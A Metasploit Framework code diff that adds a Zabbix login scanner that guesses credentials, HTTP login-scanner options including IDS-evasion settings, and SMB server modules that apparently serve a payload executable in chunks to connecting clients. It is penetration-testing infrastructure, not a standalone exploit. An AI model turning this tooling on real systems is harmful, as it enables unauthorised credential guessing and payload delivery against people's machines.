PRIVATE_TYPES = [ :password ]
# @!attribute version
# @return [String] Product version
attr_accessor :version
# @!attribute zsession
# @return [String] Cookie session
attr_accessor :zsession
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
end
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
return "Unexpected HTTP body (is this really Zabbix?)"
end
self.version = $1
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Found a cookie? Set it. We're going to need it.
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
self.zsession = $1
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(credential)
data = "request="
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&autologin=1"
data << "&enter=Sign%20in"
opts = {
'uri' => normalize_uri('index.php'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded'
}
}
send_request(opts)
end
# Tries to login to Zabbix
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
res = try_credential(credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri('profile.php'),
'method' => 'GET',
'headers' => {
'Cookie' => "zbx_sessionid=#{self.zsession}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -51,8 +51,7 @@ module Metasploit
# Send a prelogin packet and check that encryption is not enabled
if mssql_prelogin() != ENCRYPT_NOT_SUP
print_error("Encryption is not supported")
return false
raise ::Rex::ConnectionError, "Encryption is not supported"
end
if windows_authentication

View File

@ -25,6 +25,8 @@ module Buffer
when 'raw'
when 'num'
buf = Rex::Text.to_num(buf)
when 'hex'
buf = Rex::Text.to_hex(buf, '')
when 'dword', 'dw'
buf = Rex::Text.to_dword(buf)
when 'python', 'py'
@ -65,7 +67,7 @@ module Buffer
def self.comment(buf, fmt = "ruby")
case fmt
when 'raw'
when 'num', 'dword', 'dw'
when 'num', 'dword', 'dw', 'hex'
buf = Rex::Text.to_js_comment(buf)
when 'ruby', 'rb', 'python', 'py'
buf = Rex::Text.to_ruby_comment(buf)
@ -98,6 +100,7 @@ module Buffer
'csharp',
'dw',
'dword',
'hex',
'java',
'js_be',
'js_le',

View File

@ -43,6 +43,13 @@ class DataStore < Hash
super(find_key_case(k), v)
end
#
# Case-insensitive wrapper around delete
#
def delete(k)
super(find_key_case(k))
end
#
# Updates a value in the datastore with the specified name, k, to the

View File

@ -48,7 +48,7 @@ module Exploit::EXE
end
def generate_payload_exe(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -73,7 +73,7 @@ module Exploit::EXE
end
def generate_payload_exe_service(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -96,7 +96,7 @@ module Exploit::EXE
end
def generate_payload_dll(opts = {})
return get_custom_exe if datastore.include? 'EXE::Custom'
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['EXE::EICAR']
exe_init_options(opts)
@ -125,7 +125,7 @@ module Exploit::EXE
end
def generate_payload_msi(opts = {})
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty?
return get_eicar_exe if datastore['MSI::EICAR']
exe = generate_payload_exe(opts)

View File

@ -210,6 +210,54 @@ module Exploit::Remote::HttpClient
return nclient
end
#
# Converts datastore options into configuration parameters for the
# Metasploit::LoginScanner::Http class. Any parameters passed into
# this method will override the defaults.
#
def configure_http_login_scanner(conf)
{
host: rhost,
port: rport,
ssl: ssl,
ssl_version: ssl_version,
proxies: datastore['PROXIES'],
framework: framework,
framework_module: self,
vhost: vhost,
user_agent: datastore['UserAgent'],
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
evade_uri_full_url: datastore['HTTP::uri_full_url'],
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
evade_method_random_valid: datastore['HTTP::method_random_valid'],
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
evade_method_random_case: datastore['HTTP::method_random_case'],
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
evade_pad_get_params: datastore['HTTP::pad_get_params'],
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
evade_pad_post_params: datastore['HTTP::pad_post_params'],
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'],
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
ntlm_send_lm: datastore['NTLM::SendLM'],
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
ntlm_send_spn: datastore['NTLM::SendSPN'],
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
ntlm_domain: datastore['DOMAIN'],
digest_auth_iis: datastore['DigestAuthIIS']
}.merge(conf)
end
#
# Passes the client connection down to the handler to see if it's of any
# use.

View File

@ -52,7 +52,7 @@ module Exploit::NTLM
# SendSPN will send an avp of type 9/SPN in the ntlmv2 client blob, this is mandatory on windows seven / 2008 r2 if
# Microsoft network server : Server SPN target name validation level is set to <Required from client> or we get an STATUS_ACCESS_DENIED
#
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required', true]),
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required', true]),
], Msf::Exploit::NTLM::Client)
end
end

View File

@ -20,6 +20,8 @@ require 'msf/core/exploit/jsobfu'
module Msf
module Exploit::Remote::BrowserExploitServer
class BESException < RuntimeError; end
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
@ -521,7 +523,13 @@ module Msf
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
begin
method(:on_request_exploit).call(cli, request, profile)
rescue BESException => e
elog("BESException: #{e.message}\n#{e.backtrace * "\n"}")
send_not_found(cli)
print_error("BESException: #{e.message}")
end
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
if bad_reqs.include?(:vuln_test)
@ -586,7 +594,15 @@ module Msf
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Windows.*$/, 'Windows')
regenerate_payload(cli, platform, arch).encoded
p = regenerate_payload(cli, platform, arch)
unless p.arch.include?(arch)
err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. "
err << "Please check your payload setting."
raise BESException, err
end
return p.encoded
end
# @return [String] custom Javascript to check if a vulnerability is present

View File

@ -133,11 +133,18 @@ module Msf
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_EXTENDED_SECURITY +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['Flags2'] =
CONST::FLAGS2_UNICODE_STRINGS +
CONST::FLAGS2_32_BIT_ERROR_CODES +
CONST::FLAGS2_LONG_PATH_COMPONENTS
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
require 'msf/core/exploit/smb/server/share/command/close'
require 'msf/core/exploit/smb/server/share/command/negotiate'
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
require 'msf/core/exploit/smb/server/share/command/read_andx'
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
require 'msf/core/exploit/smb/server/share/command/trans2'
end
end
end
end

View File

@ -0,0 +1,30 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Close
#
# Responds to a client CLOSE request
#
def smb_cmd_close(c, buff)
send_close_res(c)
end
def send_close_res(c)
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = 0
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,71 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Negotiate
#
# Negotiates a SHARE session with the client
#
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
send_negotitate_res(c, {
dialect: dialect,
security_mode: CONST::NEG_SECURITY_PASSWORD,
max_mpx: 50,
max_vcs: 1,
max_buff: 4356,
max_raw: 65536,
server_time_zone: 0,
capabilities: CAPABILITIES,
key_length: 8,
key: Rex::Text.rand_text_hex(8)
})
end
def send_negotitate_res(c, opts = {})
dialect = opts[:dialect] || 0
security_mode = opts[:security_mode] || 0
max_mpx = opts[:max_mpx] || 0
max_vcs = opts[:max_vcs] || 0
max_buff = opts[:max_buff] || 0
max_raw = opts[:max_raw] || 0
server_time_zone = opts[:server_time_zone] || 0
capabilities = opts[:capabilities] || 0
key_length = opts[:key_length] || 0
key = opts[:key] || ''
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = security_mode
pkt['Payload'].v['MaxMPX'] = max_mpx
pkt['Payload'].v['MaxVCS'] = max_vcs
pkt['Payload'].v['MaxBuff'] = max_buff
pkt['Payload'].v['MaxRaw'] = max_raw
pkt['Payload'].v['SystemTimeLow'] = lo
pkt['Payload'].v['SystemTimeHigh'] = hi
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = capabilities
pkt['Payload'].v['KeyLength'] = key_length
pkt['Payload'].v['Payload'] = key
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module NtCreateAndx
#
# Responds to a client NT_CREATE_ANDX request
#
def smb_cmd_nt_create_andx(c, buff)
smb = @state[c]
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
payload = (pkt['Payload'].v['Payload']).downcase
payload.gsub!(/^[\x00]*/, '') # delete padding
payload = Rex::Text.ascii_safe_hex(payload)
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
if payload.nil? || payload.empty?
payload = file_name
end
if payload.ends_with?(file_name)
fid = smb[:file_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
eof = exe_contents.length
is_dir = 0
elsif payload.eql?(path_name)
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0
is_dir = 1
else
# Otherwise send not found
smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
return
end
send_nt_create_andx_res(c, {
file_id: fid,
attributes: attribs,
end_of_file_low: eof,
is_directory: is_dir,
alloc_low: 0x100000
})
end
def send_nt_create_andx_res(c, opts = {})
file_id = opts[:file_id] || 0
attributes = opts[:attributes] || 0
end_of_file_low = opts[:end_of_file_low] || 0
is_directory = opts[:is_directory] || 0
alloc_low = opts[:alloc_low] || 0
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = 42
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
pkt['Payload'].v['FileID'] = file_id
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = lo
pkt['Payload'].v['CreateTimeHigh'] = hi
pkt['Payload'].v['AccessTimeLow'] = lo
pkt['Payload'].v['AccessTimeHigh'] = hi
pkt['Payload'].v['WriteTimeLow'] = lo
pkt['Payload'].v['WriteTimeHigh'] = hi
pkt['Payload'].v['ChangeTimeLow'] = lo
pkt['Payload'].v['ChangeTimeHigh'] = hi
pkt['Payload'].v['Attributes'] = attributes
pkt['Payload'].v['AllocLow'] = alloc_low
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = end_of_file_low
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
pkt['Payload'].v['IsDirectory'] = is_directory
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,55 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module ReadAndx
#
# Responds to a client READ_ANDX request
# This function sends chunks of the payload to the client
# by reading the offset and length requested by the client
# and sending the appropriate chunk of the payload
#
def smb_cmd_read_andx(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
send_read_andx_res(c, {
data_len_low: length,
byte_count: length,
data: exe_contents[offset, length]
})
end
def send_read_andx_res(c, opts = {})
data_len_low = opts[:data_len_low]
byte_count = opts[:byte_count]
data = opts[:data]
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = data_len_low
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 0x0a
pkt['Payload'].v['ByteCount'] = byte_count
pkt['Payload'].v['Payload'] = data
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module SessionSetupAndx
#
# Sets up an SMB session in response to a SESSION_SETUP_ANDX request
#
def smb_cmd_session_setup_andx(c, buff)
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
tree_connect_response.v['WordCount'] = 7
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
tree_connect_response.v['AndXReserved'] = 0
tree_connect_response.v['AndXOffset'] = 0
tree_connect_response.v['OptionalSupport'] = 1
tree_connect_response.v['AccessRights'] = 0x1200a9
tree_connect_response.v['GuestAccessRights'] = 0
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
send_session_setup_andx_res(c, {
action: CONST::SMB_SETUP_GUEST,
data: data,
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
andx_offset: 96,
andx_command: tree_connect_response
})
end
def send_session_setup_andx_res(c, opts = {})
action = opts[:action] || 0
andx_offset = opts[:andx_offset] || 0
reserved = opts[:reserved] || 0
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
data = opts[:data] || ''
andx_command = opts[:andx_command] || nil
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = 3
pkt['Payload'].v['AndX'] = andx
pkt['Payload'].v['Reserved1'] = reserved
pkt['Payload'].v['AndXOffset'] = andx_offset
pkt['Payload'].v['Action'] = action
pkt['Payload'].v['Payload'] = data
if andx_command
full_pkt = pkt.to_s + andx_command.to_s
original_length = full_pkt[2, 2].unpack('n')[0]
original_length = original_length + andx_command.to_s.length
full_pkt[2, 2] = [original_length].pack('n')
else
full_pkt = pkt.to_s
end
c.put(full_pkt)
end
end
end
end
end
end

View File

@ -0,0 +1,65 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
#
# Responds to client TRANSACTION2 requests and dispatches the request off to
# other functions dependent on what the sub_command is. Commands supported
# include:
# QUERY_FILE_INFO (Basic, Standard and Internal)
# QUERY_PATH_INFO (Basic and Standard)
#
def smb_cmd_trans2(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
data_trans2.from_s(pkt['Payload'].v['SetupData'])
sub_command = data_trans2.v['SubCommand']
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
case sub_command
when CONST::TRANS2_QUERY_FILE_INFO
smb_cmd_trans2_query_file_information(c, parameters)
when CONST::TRANS2_QUERY_PATH_INFO
smb_cmd_trans2_query_path_information(c, parameters)
when CONST::TRANS2_FIND_FIRST2
smb_cmd_trans2_find_first2(c, parameters)
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
end
end
def send_trans2_res(c, parameters, data)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
pkt['Payload'].v['DataCount'] = data.to_s.length
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
pkt['Payload'].v['Payload'] =
parameters.to_s +
data.to_s
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,46 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
# This mixin provides methods to handle TRAN2_FIND_FIRST2 subcommands
module FindFirst2
def smb_cmd_trans2_find_first2(c, buff)
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
search_path = Rex::Text.to_ascii(params.v['FileName']).downcase
search_path.gsub!(/[\x00]*/, '') #delete padding
search_path.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
# Do some managing for wildcards
# TODO: Make it better / complete
search_path.gsub!(/<\./, '*.') # manage wildcards
extension = File.extname(file_name)
if search_path == "#{path_name}*#{extension}"
search_path = "#{path_name}#{file_name}"
end
case loi
when CONST::SMB_FIND_FILE_NAMES_INFO
smb_cmd_find_file_names_info(c, search_path)
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
smb_cmd_find_file_both_directory_info(c, search_path)
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
smb_cmd_find_file_full_directory_info(c, search_path)
else
# Send STATUS_SUCCESS with the hope of going ahead
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,33 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
# This mixin provides methods to handle TRAN2_QUERY_FILE_INFORMATION subcommands
module QueryFileInformation
def smb_cmd_trans2_query_file_information(c, buff)
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
fid = params.v['FID']
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
smb_cmd_trans_query_file_info_standard(c, fid)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
smb_cmd_trans_query_file_info_basic(c, fid)
else
# Send STATUS_SUCCESS with the hope of going ahead
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
# This mixin provides methods to handle TRAN2_QUERY_PATH_INFORMATION subcommands
module QueryPathInformation
def smb_cmd_trans2_query_path_information(c, buff)
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
file_name = Rex::Text.to_ascii(params.v['FileName']).downcase
file_name.gsub!(/[\x00]*/, '') #delete padding
file_name.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
smb_cmd_trans_query_path_info_standard(c, file_name)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
smb_cmd_trans_query_path_info_basic(c, file_name)
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
smb_cmd_trans_query_path_info_network(c, file_name)
else
# Send STATUS_SUCCESS with the hope of going ahead
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,12 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
require 'msf/core/exploit/smb/server/share/information_level/find'
require 'msf/core/exploit/smb/server/share/information_level/query'
end
end
end
end

View File

@ -0,0 +1,188 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
# This mixin provides methods to handle TRAN2_FIND_FIRST2 requests
# with Find information levels
module Find
# Responds to FIND_FIRST2 requests with Information Level: Find File Both Directory Info
def smb_cmd_find_file_both_directory_info(c, payload)
if payload && payload.include?(file_name)
data = Rex::Text.to_unicode(file_name)
length = exe_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
search = 1
elsif payload && payload == path_name
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 0x100
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
return
end
send_find_file_both_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Responds to FIND_FIRST2 requests with information level Find File Names Info
def smb_cmd_find_file_names_info(c, payload)
if payload && payload.include?(file_name)
data = Rex::Text.to_unicode(file_name)
elsif payload && payload == path_name
data = Rex::Text.to_unicode(path_name)
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
return
end
send_find_file_names_info_res(c, { data: data })
end
# Responds to FIND_FIRST2 requests with information level Find File Full Directory Info
def smb_cmd_find_file_full_directory_info(c, payload)
if payload && payload.include?(file_name)
data = Rex::Text.to_unicode(file_name)
length = exe_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
search = 0x100
elsif payload && payload == path_name
data = path
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 1
else
smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
return
end
send_find_full_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
def send_find_file_both_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
